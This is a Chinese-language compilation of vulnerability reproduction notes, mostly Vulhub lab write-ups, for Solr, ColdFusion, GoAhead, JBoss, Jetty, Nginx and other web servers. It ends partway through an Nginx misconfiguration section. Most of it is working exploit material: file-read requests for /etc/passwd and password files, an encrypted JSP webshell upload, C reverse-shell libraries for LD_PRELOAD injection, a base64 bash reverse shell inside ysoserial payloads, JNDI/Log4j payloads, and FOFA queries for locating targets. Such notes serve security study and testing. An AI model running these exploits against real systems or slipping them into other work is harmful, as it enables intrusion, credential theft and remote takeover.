name参数为压缩包的文件名, 利用漏洞创建一个 core

curl "http://xxx.xxx.xxx.xxx:8983/solr/admin/collections?action=CREATE&name=peiqi&numShards=1&replicationFactor=1&wt=xml&collection.configName=vuln"

再使用 Apache Solr Velocity模板远程执行`CVE-2019-17558` 即可执行任意命令

Remote-Streaming-Fileread

Apache Solr RemoteStreaming 文件读取与SSRF漏洞

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成SSRF或任意文件读取。

参考链接：

https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ

漏洞影响

Apache Solr <= 8.8.1

网络测绘

FOFA: app="APACHE-Solr"

漏洞环境

执行如下命令启动solr 8.8.1：

docker compose up -d

环境启动后，访问http://your-ip:8983即可查看Apache Solr后台。

漏洞复现

首先，访问http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名：

/solr/admin/cores?indexInfo=false&wt=json

发送如下数据包，修改数据库demo的配置，开启RemoteStreaming：

curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://your-ip:8983/solr/demo/config'

再通过stream.url读取任意文件：

curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

发送请求

POST /solr/core/config HTTP/1.1
Content-Type: application/json

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}

再进行文件读取

POST /solr/core/debug/dump?param=ContentStreams HTTP/1.1

stream.url=file:///etc/passwd

Apache Solr Log4j组件远程命令执行漏洞

漏洞描述

Apache Solr Log4j组件远程命令执行漏洞，详情略

漏洞影响

Apache Solr

网络测绘

FOFA: app="APACHE-Solr"

漏洞复现

登录页面

验证POC

/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/87}&wt=json

appweb

CVE-2018-8715

AppWeb认证绕过漏洞（CVE-2018-8715）

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写，能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置，其认证方式包括以下三种：

basic 传统HTTP基础认证
digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头
form 表单认证

其7.0.3之前的版本中，对于digest和form两种认证方式，如果用户传入的密码为null（也就是没有传递密码参数），appweb将因为一个逻辑错误导致直接认证成功，并返回session。

参考链接：

https://ssd-disclosure.com/index.php/archives/3676

漏洞环境

执行如下命令启动一个带有digest认证的Appweb 7.0.1服务器：

docker compose up -d

访问http://your-ip:8080，可见需要输入账号密码。

漏洞复现

利用该漏洞需要知道一个已存在的用户名，当前环境下用户名为admin。

构造头Authorization: Digest username=admin，并发送如下数据包：

GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin

可见，因为我们没有传入密码字段，所以服务端出现错误，直接返回了200，且包含一个session：

设置这个session到浏览器，即可正常访问需要认证的页面：

coldfusion

CVE-2010-2861

Adobe ColdFusion 文件读取漏洞（CVE-2010-2861）

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。

环境搭建

执行如下命令启动Adobe CouldFusion 8.0.1版本服务器：

docker compose up -d

环境启动可能需要1~5分钟，启动后，访问http://your-ip:8500/CFIDE/administrator/enter.cfm，可以看到初始化页面，输入密码admin，开始初始化整个环境。

漏洞复现

直接访问http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en，即可读取文件/etc/passwd：

读取后台管理员密码http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en：

CVE-2017-3066

Adobe ColdFusion 反序列化漏洞（CVE-2017-3066）

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响：Adobe ColdFusion (2016 release) Update 3及之前的版本，ColdFusion 11 Update 11及之前的版本，ColdFusion 10 Update 22及之前的版本。

参考链接：

漏洞环境

启动漏洞环境：

docker compose up -d

等待数分钟时间，环境启动成功，访问http://your-ip:8500/CFIDE/administrator/index.cfm，输入密码vulhub，即可成功安装Adobe ColdFusion。

漏洞复现

我们使用参考链接中的ColdFusionPwn工具来生成POC：

java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser

POC生成于poc.ser文件中，将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf，Content-Type为application/x-amf：

POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc...]

进入容器中，发现/tmp/success已成功创建：

将POC改成反弹命令，成功拿到shell：

CVE-2018-15961

Adobe ColdFusion upload.cfm 任意文件上传漏洞

漏洞描述

Adobe ColdFusion存在任意文件上传漏洞，通过漏洞攻击者可上传任意文件控制服务器

漏洞影响

Adobe ColdFusion

网络测绘

app=”Adobe-ColdFusion”

漏洞复现

产品官网

发送数据包上传任意文件

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 918
Content-Type: multipart/form-data; boundary=e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0
Accept-Encoding: gzip

--e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0
Content-Disposition: form-data; name="file"; filename="b79f4282c451e975c357d9616acea7ba.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
--e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0
Content-Disposition: form-data; name="path"

path
--e9fb732e96144291860c4d742145cdabf98a4ec5cbe2a91aec6dc17461a0--

再访问路径 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp

CVE-2023-26360

Adobe ColdFusion 本地文件包含漏洞（CVE-2023-26360）

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion 2018 Update 15 和 2021 Update 5 版本及以前，存在一处文件包含漏洞。攻击者可以利用该漏洞在服务器上执行任意代码。

参考链接：

https://xz.aliyun.com/t/13392

漏洞环境

启动一个Adobe ColdFusion 2018.0.15服务器：

docker compose up -d

等待一段时间后环境启动成功，访问http://your-ip:8500/CFIDE/administrator/index.cfm，输入密码vulhub，即可成功安装Adobe ColdFusion。

漏洞复现

发送如下请求即可读取文件/proc/self/environ：

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost:8500
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 82
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../proc/self/environ"}}

你可以在返回包中找到Adobe ColdFusion的根目录/opt/coldfusion/cfusion：

从../../../../../../../../opt/coldfusion/cfusion/lib/password.properties中读取服务器密码：

想要利用文件包含漏洞执行任意代码，需要先发送如下请求来写入CFM脚本：

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost:8500
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded

_variables=<cfexecute name='id' outputFile='/tmp/success' ></cfexecute>

然后包含日志文件，执行该CFM代码：

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost:8500
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log"}}

可见，id命令的执行结果已经被写入/tmp/success：

CVE-2023-29300

Adobe ColdFusion XML 反序列化命令执行漏洞（CVE-2023-29300）

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion在2018.0.16、2021.0.6、2023.0.0.330468版本及以前，存在一处XML反序列化漏洞。攻击者可以利用该漏洞调用Java中任意setter方法，最终执行任意命令。

参考链接：

漏洞环境

启动一个Adobe ColdFusion 2018.0.15服务器：

docker compose up -d

等待一段时间后环境启动成功，访问http://your-ip:8500/CFIDE/administrator/index.cfm，输入密码vulhub，即可成功安装Adobe ColdFusion。

漏洞复现

要利用这个漏洞，需要先找到一个可利用的setter方法作为Gadget。最常见的Gadget是利用com.sun.rowset.JdbcRowSetImpl来进行JNDI注入，并执行任意命令。

首先，启动一个恶意JNDI服务器，并加载CommonsBeanutils1作为内层反序列化Gadget。Github上有数个工具可以使用，比如https://github.com/rebeyond/JNDInjector/releases：

然后，将恶意LDAP地址替换到如下请求中发送：

POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 333

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://your.ldap.server/example</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>

可见，touch /tmp/success已被成功执行：

glassfish

4.1.0

GlassFish 任意文件读取漏洞

原理

参考链接：

GlassFish在解码URL时，没有考虑UTF-8 Overlong Encoding攻击，导致将%c0%ae解析为ASCCII字符的.（点）。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转，达到目录穿越、任意文件读取的效果。

漏洞复现

编译、运行测试环境

docker compose up -d

环境运行后，访问http://your-ip:8080和http://your-ip:4848即可查看web页面。其中，8080端口是网站内容，4848端口是GlassFish管理中心。

访问https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd，发现已成功读取/etc/passwd内容：

额外说明

本环境超级管理员密码在docker-compose.yml中设置，默认为vulhub_default_password，在4848端口利用该密码可以登录管理员账户。

goahead

CVE-2017-17562

GoAhead 远程命令执行漏洞

GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server，多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序，这个漏洞就出现在运行CGI程序的时候。

GoAhead在接收到请求后，将会从URL参数中取出键和值注册进CGI程序的环境变量，且只过滤了REMOTE_HOST和HTTP_AUTHORIZATION。我们能够控制环境变量，就有很多攻击方式。比如在Linux中，LD_开头的环境变量和动态链接库有关，如LD_PRELOAD中指定的动态链接库，将会被自动加载；LD_LIBRARY_PATH指定的路径，程序会去其中寻找动态链接库。

我们可以指定LD_PRELOAD=/proc/self/fd/0，因为/proc/self/fd/0是标准输入，而在CGI程序中，POST数据流即为标准输入流。我们编译一个动态链接库，将其放在POST Body中，发送给http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0，CGI就会加载我们发送的动态链接库，造成远程命令执行漏洞。

参考链接：

https://www.elttam.com.au/blog/goahead/

漏洞影响

GoAhead Web Server < 3.6.5

网络测绘

app=”GoAhead”

漏洞环境

启动漏洞环境：

docker compose up -d

启动完成后，访问http://your-ip:8080/即可看到欢迎页面。访问http://your-ip:8080/cgi-bin/index即可查看到Hello页面，即为CGI执行的结果。

漏洞复现

我们首先需要编译一个动态链接库，而且需要和目标架构相同。所以在实战中，如果对方是一个智能设备，你可能需要交叉编译。因为Vulhub运行在Linux x86_64的机器中，所以我们直接用Linux PC编译即可。动态链接库源码：

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: World!\n", 14);
}

这样，before_main函数将在程序执行前被调用。编译以上代码：

gcc -shared -fPIC ./payload.c -o payload.so

将payload.so作为post body发送：

curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i

可见，Hello: world!已被成功输出，说明我们的动态链接库中的代码已被执行：

编译一个反弹shell的代码，成功反弹shell：

编译恶意 so 文件

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) 
{
  int sock = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in attacker_addr = {0};
  attacker_addr.sin_family = AF_INET;
  attacker_addr.sin_port = htons(server_port);
  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
    exit(0);
  dup2(sock, 0);
  dup2(sock, 1);
  dup2(sock, 2);
  execve("/bin/bash", 0, 0);
}
gcc evil.c -fPIC -s -shared -o evil.so

发送 evil.so 恶意文件

curl -X POST --data-binary @evil.so http://xxx.xxx.xxx.xxx:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0

CVE-2021-42342

GoAhead Server 环境变量注入（CVE-2021-42342）

GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server，多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。

这个漏洞是CVE-2017-17562漏洞补丁的绕过，攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量，进而劫持LD_PRELOAD来执行任意代码。

参考链接：

漏洞影响

5.x <= GoAhead web-server < 5.1.5

网络测绘

app=”GoAhead”

漏洞环境

执行如下命令启动GoAhead 5.1.4：

docker compose up -d

启动完成后，访问http://your-ip:8080/即可看到欢迎页面。访问http://your-ip:8080/cgi-bin/index即可查看到Hello页面，即为CGI执行的结果。

漏洞复现

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: World\r\n\r\n", 16);
    write(1, "Hacked\n", 7);
}

这样，before_main函数将在程序执行前被调用。编译以上代码：

gcc -s -shared -fPIC ./payload.c -o payload.so

然后，我们使用这个脚本来发送恶意数据包，复现漏洞：

python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so

可见，我们在动态链接库中编写的劫持代码已经被成功执行：

编译恶意 so 文件

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) 
{
  int sock = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in attacker_addr = {0};
  attacker_addr.sin_family = AF_INET;
  attacker_addr.sin_port = htons(server_port);
  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
    exit(0);
  dup2(sock, 0);
  dup2(sock, 1);
  dup2(sock, 2);
  execve("/bin/bash", 0, 0);
}
gcc evil.c -fPIC -s -shared -o evil.so

发送 evil.so 恶意文件

curl -v -F data=@evil.so -F "LD_PRELOAD=/proc/self/fd/0" http://xxx.xxx.xxx.xxx:8080/cgi-bin/hello

发送请求后抓包将Content-Length设置成小于最终的数据包Body大小，并爆破 /proc/self/fd/1 反弹 shell

jetty

CVE-2021-28164

Jetty WEB-INF 敏感信息泄露漏洞（CVE-2021-28164）

Eclipse Jetty是一个开源的servlet容器，它为基于Java的Web容器提供运行环境。

Jetty 9.4.37引入对RFC3986的新实现，而URL编码的.字符被排除在URI规范之外，这个行为在RFC中是正确的，但在servlet的实现中导致攻击者可以通过%2e来绕过限制，下载WEB-INF目录下的任意文件，导致敏感信息泄露。该漏洞在9.4.39中修复。

参考链接：

漏洞环境

执行如下命令启动一个Jetty 9.4.37：

docker compose up -d

服务启动后，访问http://your-ip:8080可以查看到一个example页面。

漏洞复现

直接访问/WEB-INF/web.xml将会返回404页面：

使用%2e/来绕过限制下载web.xml：

curl -v 'http://192.168.1.162:8080/%2e/WEB-INF/web.xml'

CVE-2021-28169

Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞（CVE-2021-28169）

Eclipse Jetty是一个开源的servlet容器，它为基于Java的Web容器提供运行环境，而Jetty Servlets是Jetty提供给开发者的一些通用组件。

在9.4.40, 10.0.2, 11.0.2版本前，Jetty Servlets中的ConcatServlet、WelcomeFilter类存在多重解码问题，如果开发者主动使用了这两个类，攻击者可以利用其访问WEB-INF目录下的敏感文件，造成配置文件及代码泄露。

参考链接：

https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq

漏洞环境

执行如下命令启动一个Jetty 9.4.40服务器：

docker compose up -d

环境启动后，访问http://your-ip:8080即可查看到一个example页面。该页面使用到了ConcatServlet来优化静态文件的加载：

<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">

漏洞利用

正常通过/static?/WEB-INF/web.xml无法访问到敏感文件web.xml：

对字母W进行双URL编码，即可绕过限制访问web.xml：

curl -v 'http://your-ip:8080/static?/%2557EB-INF/web.xml'

CVE-2021-34429

Jetty WEB-INF 敏感信息泄露漏洞（CVE-2021-34429）

Eclipse Jetty是一个开源的servlet容器，它为基于Java的Web容器提供运行环境。

Jetty在9.4.40后修复了因为%2e导致的敏感信息泄露漏洞CVE-2021-28164，但这个修复是不完全的，通过下面三种方式可以进行绕过：

unicode形式URL编码：/%u002e/WEB-INF/web.xml
\0组合.导致的绕过：/.%00/WEB-INF/web.xml
\0组合..导致的绕过：/a/b/..%00/WEB-INF/web.xml

影响版本：9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5

参考链接：

漏洞环境

执行如下命令启动一个Jetty 9.4.40：

docker compose up -d

服务启动后，访问http://your-ip:8080可以查看到一个example页面。

漏洞复现

直接访问/WEB-INF/web.xml将会返回404页面：

使用/%u002e/WEB-INF/web.xml来绕过限制下载web.xml：

jboss

CVE-2017-7504

JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

参考：

影响版本

JBoss AS 4.x及之前版本

漏洞环境

执行如下命令启动JBoss AS 4.0.5：

docker compose up -d

环境启动后，目标为http://your-ip:8080。

漏洞复现

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中，我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload：

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser

我们将1.ser文件内容作为POST Body发送：

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

执行docker compose exec jboss bash进入容器，可见/tmp/success已成功创建。

访问控制台

使用工具 Jexboss 进行漏洞扫描

python3 jexboss.py -host http://192.168.51.133:8080

成功利用漏洞执行命令

CVE-2017-12149

JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

参考：

测试环境

运行测试环境

docker compose up -d

首次执行时会有1~3分钟时间初始化，初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

漏洞复现

该漏洞出现在/invoker/readonly请求中，服务器将用户提交的POST内容进行了Java反序列化：

所以，我们用常规Java反序列化漏洞测试方法来复现该漏洞。

编写反弹shell的命令

我们使用bash来反弹shell，但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法，我们需要用进行一次编码。

工具：http://www.jackson-t.ca/runtime-exec-payloads.html

序列化数据生成

使用ysoserial来复现生成序列化数据，由于Vulhub使用的Java版本较新，所以选择使用的gadget是CommonsCollections5：

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

发送POC

生成好的POC即为poc.ser，将这个文件作为POST Body发送至/invoker/readonly即可：

成功反弹shell：

JMXInvokerServlet-deserialization

JBoss JMXInvokerServlet 反序列化漏洞

这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。

参考文档：

漏洞环境

启动漏洞环境

docker compose up -d

首次执行时会有1~3分钟时间初始化，初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

漏洞复现

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象，所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考jboss/CVE-2017-12149，我就不再赘述。

网上已经有很多EXP了，比如DeserializeExploit.jar，直接用该工具执行命令、上传文件即可：

mini_httpd

CVE-2018-18778

mini_httpd任意文件读取漏洞（CVE-2018-18778）

Mini_httpd是一个微型的Http服务器，在占用系统资源较小的情况下可以保持一定程度的性能（约为Apache的90%），因此广泛被各类IOT（路由器，交换器，摄像头等）作为嵌入式服务器。而包括华为，zyxel，海康威视，树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下，用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

见上述代码，分析如下：

当HOST=example.com、FILE=index.html的时候，上述语句结果为example.com/index.html，文件正常读取。
当HOST为空、FILE=etc/passwd的时候，上述语句结果为/etc/passwd。

后者被作为绝对路径，于是读取到了/etc/passwd，造成任意文件读取漏洞。

漏洞影响

ACME mini_httpd before 1.30

网络测绘

app=”ACME-mini_httpd”

环境搭建

执行如下命令启动mini_httpd 1.29：

docker compose up -d

环境启动后，访问http://your-ip:8080即可看到Web页面。

漏洞复现

指纹信息

在mini_httpd开启虚拟主机模式的情况下，用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

当HOST=example.com、FILE=index.html的时候，上述语句结果为example.com/index.html，文件正常读取。

当HOST为空、FILE=etc/passwd的时候，上述语句结果为/etc/passwd。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

发送请求是将Host置空，PATH的值是文件绝对路径：

GET /etc/passwd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

成功读取文件：

muhttpd

CVE-2022-31793

muhttpd 任意文件读取漏洞

漏洞描述

muhttpd（mu-HTTP-deamon）是一个简单但完整的web服务器，用可移植的ANSI C编写。它支持静态页面、CGI脚本、基于MIME类型的处理程序和HTTPS。它在接受任何连接之前放弃特权，并且可以记录接收到的请求。它已经在GNU/Linux、NetBSD、FreeBSD、Mac OS X和Cygwin上进行了测试。它在32位和64位、小端和大端系统上成功运行。

muhttpd 1.1.7之前版本存在安全漏洞。攻击者利用该漏洞读取系统任意文件。

漏洞影响

muhttpd 1.1.7

网络测绘

“2017 ARRIS Enterprises,”

漏洞复现

登录页面

验证POC

a/etc/passwd

nginx

CVE-2013-4547

Nginx 文件名逻辑漏洞（CVE-2013-4547）

影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

参考链接：

漏洞原理

这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。

举个例子，比如，Nginx匹配到.php结尾的请求，就发送给fastcgi进行解析，常见的写法如下：

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下（关闭pathinfo的情况下），只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下，我们请求1.gif[0x20][0x00].php，这个URI可以匹配上正则\.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。

所以，我们只需要上传一个空格结尾的文件，即可使PHP解析之。

再举个例子，比如很多网站限制了允许访问后台的IP：

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI：/test[0x20]/../admin/index.php，这个URI不会匹配上location后面的/admin/，也就绕过了其中的IP验证；但最后请求的是/test[0x20]/../admin/index.php文件，也就是/admin/index.php，成功访问到后台。（这个前提是需要有一个目录叫“test ”：这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）

漏洞复现

启动漏洞环境：

docker compose up -d

环境启动后，访问http://your-ip:8080/即可看到一个上传页面。

这个环境是黑名单验证，我们无法上传php后缀的文件，需要利用CVE-2013-4547。我们上传一个“1.gif ”，注意后面的空格：

访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php，即可发现PHP已被解析：

注意，[0x20]是空格，[0x00]是\0，这两个字符都不需要编码。

CVE-2017-7529

Nginx越界读取缓存漏洞（CVE-2017-7529）

漏洞原理

参考阅读：

Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。而如果我构造了两个负的位置，如(-600, -9223372036854774591)，将可能读取到负位置的数据。如果这次请求又命中了缓存文件，则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

影响版本

Nginx version 0.5.6 - 1.13.2

复现漏洞

运行测试环境：

git clone https://github.com/vulhub/vulhub.git
cd vulhub/nginx/CVE-2017-7529
docker-compose up -d

访问http://your-ip:8080/，即可查看到Nginx默认页面，这个页面实际上是反向代理的8081端口的内容。

调用python3 poc.py http://your-ip:8080/，读取返回结果：

可见，越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

如果读取有误，请调整poc.py中的偏移地址（605）。

POC

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

insecure-configuration

Nginx 配置错误导致漏洞

运行测试环境

docker compose up -d

运行成功后，Nginx将会监听8080/8081/8082三个端口，分别对应三种漏洞。

Mistake 1. CRLF注入漏洞

Nginx会将$uri进行解码，导致传入%0d%0a即可引入换行符，造成CRLF注入漏洞。

错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：

location / {
    return 302 https://$host$uri;
}

